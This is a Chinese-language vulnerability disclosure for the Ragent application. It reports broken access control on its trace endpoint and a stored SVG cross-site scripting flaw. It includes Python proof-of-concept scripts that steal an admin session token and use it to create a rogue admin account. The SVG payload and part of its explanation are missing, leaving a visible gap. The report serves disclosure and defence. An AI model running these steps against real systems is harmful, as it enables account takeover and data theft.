# Ragent 漏洞报告 软件名称:Ragent 开发者或厂商:nageoffer 代码仓库:https://github.com/nageoffer/ragent ## 1. 普通用户可越权读取调用链 简要描述:普通用户可调用 `/rag/traces/runs`,读取其他用户的调用链。 影响版本:1.0.0 ~ 1.1.0 前置条件:攻击者持有普通用户账号。 ### 漏洞成因 `RagTraceController` 的 `/rag/traces/runs` 只要求登录,不校验角色。相关代码如下: ```java // rag/src/main/java/com/nageoffer/ai/ragent/rag/controller/RagTraceController.java:38-50 commit c3b6157730 @RestController @RequiredArgsConstructor public class RagTraceController { private final RagTraceQueryService ragTraceQueryService; @GetMapping("/rag/traces/runs") public Result> pageRuns(RagTraceRunPageRequest request) { return Results.success(ragTraceQueryService.pageRuns(request)); } } ``` ### 复现环境搭建 复现版本为 commit `c3b61577`。 官方没有提供 compose 文件。将本文附件 [`docker-compose.yml`](files/docker-compose.yml) 放置到项目根目录,并执行: ```bash cat > Dockerfile <<'EOF' FROM eclipse-temurin:17-jre WORKDIR /app COPY src/bootstrap/target/bootstrap-0.0.1-SNAPSHOT.jar app.jar EXPOSE 9090 ENTRYPOINT ["java","-XX:MaxRAMPercentage=75","-jar","/app/app.jar"] EOF (cd src && ./mvnw -DskipTests -Dspotless.check.skip=true clean package) docker compose up -d --build ``` 用管理员账号登录,创建一个普通用户 `lowuser`,密码为 `lowpass`。 ### 复现过程 以管理员账号发起一次对话,然后用普通账号越权读取: ```python import httpx base = "http://127.0.0.1:19090/api/ragent" def login(username, password): resp = httpx.post(f"{base}/auth/login", json={"username": username, "password": password}) return resp.json()["data"]["token"] admin = httpx.Client(headers={"Authorization": login("admin", "admin")}, timeout=60) admin.post(f"{base}/users", json={"username": "lowuser", "password": "lowpass", "role": "user"}) with admin.stream("GET", f"{base}/rag/v3/chat", params={"question": "admin-private-question-42"}) as resp: for line in resp.iter_lines(): if line: break low = httpx.Client(headers={"Authorization": login("lowuser", "lowpass")}, timeout=30) runs = low.get(f"{base}/rag/traces/runs", params={"pageNo": 1, "pageSize": 5}).json()["data"]["records"] print(runs) print(low.get(f"{base}/users").text) ``` 普通用户查询 `/rag/traces/runs` 返回 200,响应中包含管理员的问题和用户名: ``` [{"conversationId": "2117234767668707328", "question": "admin-private-question-42", "traceId": "2117234768415293440", "userId": "2001523723396308993", "username": "admin", ...}] ``` 普通用户查询 `/users` 时返回权限不足: ``` {"code":"A000001","data":null,"message":"权限不足","requestId":null,"success":false} ``` 可见,`/users` 校验管理员权限,但 `/rag/traces/runs` 只校验登录。 ## 2. 存储型 SVG XSS 导致受害者账号接管 简要描述:普通用户上传的 SVG 在受害者打开其文件地址时执行脚本,攻击者可借此接管受害者账号。 影响版本:1.1.0 前置条件:攻击者持有普通用户账号,并能诱导受害者打开其上传文档的文件地址。 ### 漏洞成因 文档上传接口只要求登录,文件内容按原样写入对象存储。相关代码如下: ```java // rag/src/main/java/com/nageoffer/ai/ragent/knowledge/controller/KnowledgeDocumentController.java:96-100 commit c3b6157730 @PostMapping(value = "/knowledge-base/{kb-id}/docs/upload", consumes = MediaType.MULTIPART_FORM_DATA_VALUE) public Result upload(@PathVariable("kb-id") String kbId, @RequestPart(value = "file", required = false) MultipartFile file, @ModelAttribute KnowledgeDocumentUploadRequest requestParam) { return Results.success(documentService.upload(kbId, requestParam, file)); } ``` `DefaultFileStorageService.upload` 用 Tika 探测类型后,把原始字节写入对象存储。相关代码如下: ```java // rag/src/main/java/com/nageoffer/ai/ragent/rag/service/impl/DefaultFileStorageService.java:72-90 commit c3b6157730 public StoredFileDTO upload(String namespace, MultipartFile file) { validateNamespace(namespace); Assert.isFalse(file == null || file.isEmpty(), "上传文件不能为空"); String originalFilename = file.getOriginalFilename(); long size = file.getSize(); String detectedContentType; try (InputStream is = file.getInputStream()) { detectedContentType = TIKA.detect(is, originalFilename); } try (InputStream is = file.getInputStream()) { String key = documentKey(namespace, originalFilename); objectStorageClient.streamPut(kbBucket, key, is, size, detectedContentType); return buildStoredFileDTO(key, originalFilename, detectedContentType, size); } } ``` 文档下载接口按 `fileType` 从 `CONTENT_TYPE_MAP` 选择 `Content-Type`,并以 `inline` 返回文件。相关代码如下: ```java // rag/src/main/java/com/nageoffer/ai/ragent/knowledge/controller/KnowledgeDocumentController.java:187-199 commit c3b6157730 @GetMapping("/knowledge-base/docs/{docId}/file") public void file(@PathVariable String docId, HttpServletResponse response) throws Exception { var doc = documentService.get(docId); String fileType = doc.getFileType() != null ? doc.getFileType().toLowerCase() : ""; String contentType = CONTENT_TYPE_MAP.getOrDefault(fileType, "application/octet-stream"); response.setContentType(contentType); response.setHeader("Content-Disposition", ContentDisposition.inline() .filename(doc.getDocName(), StandardCharsets.UTF_8) .build() .toString()); try (InputStream in = fileStorageService.openStream(doc.getFileUrl())) { StreamUtils.copy(in, response.getOutputStream()); } } ``` `CONTENT_TYPE_MAP` 包含 `svg` 到 `image/svg+xml` 的映射。相关代码如下: ```java // rag/src/main/java/com/nageoffer/ai/ragent/knowledge/controller/KnowledgeDocumentController.java:82 commit c3b6157730 Map.entry("svg", "image/svg+xml") ``` 受害者打开 `/knowledge-base/docs/{docId}/file` 时,浏览器把响应当作 SVG 文档解析,` XSS EXECUTED ``` 上传脚本如下: ```python import httpx base = "http://127.0.0.1:19090/api/ragent" def login(username, password): resp = httpx.post(f"{base}/auth/login", json={"username": username, "password": password}) return resp.json()["data"]["token"] admin = httpx.Client(headers={"Authorization": login("admin", "admin")}, timeout=60) admin.post(f"{base}/users", json={"username": "lowuser", "password": "lowpass", "role": "user"}) low = httpx.Client(headers={"Authorization": login("lowuser", "lowpass")}, timeout=60) kb = low.post(f"{base}/knowledge-base", json={ "name": "report-kb", "embeddingModel": "qwen-emb-8b", "collectionName": "report_kb_store" }).json()["data"] with open("report.svg", "rb") as f: doc = low.post( f"{base}/knowledge-base/{kb}/docs/upload", data={"sourceType": "FILE", "processMode": "CHUNK"}, files={"file": ("report.svg", f, "image/svg+xml")} ).json()["data"] print(doc["id"]) ``` 管理员(受害者)在浏览器中打开 `http://127.0.0.1:19090/api/ragent/knowledge-base/docs/{docId}/file`,页面显示 `XSS EXECUTED`: ![](img/01-svg-xss.png) HTTP log 服务收到受害者(管理员)的 Cookie: ``` Authorization=cc41bdee51664c6887436bad552a7583 ``` 用该 Cookie 创建管理员账号 `eviladmin`,验证已接管管理员账号: ```python import httpx base = "http://127.0.0.1:19090/api/ragent" stolen = "cc41bdee51664c6887436bad552a7583" client = httpx.Client(headers={"Authorization": stolen}, timeout=30) print(client.post(f"{base}/users", json={ "username": "eviladmin", "password": "evilpass", "role": "admin" }).text) ``` 随后该账号可以正常登录并查询用户列表: ``` create admin with stolen token: {"code":"0","data":"2117236505536626688","message":null,"requestId":null,"success":true} login as eviladmin: admin dca56c9ceed04ae69db61a4772e6ea88 eviladmin /users: {"code":"0","data":{"current":1,"pages":1,"records":[{"id":"2117236505536626688","username":"eviladmin","role":"admin",...}]}} ```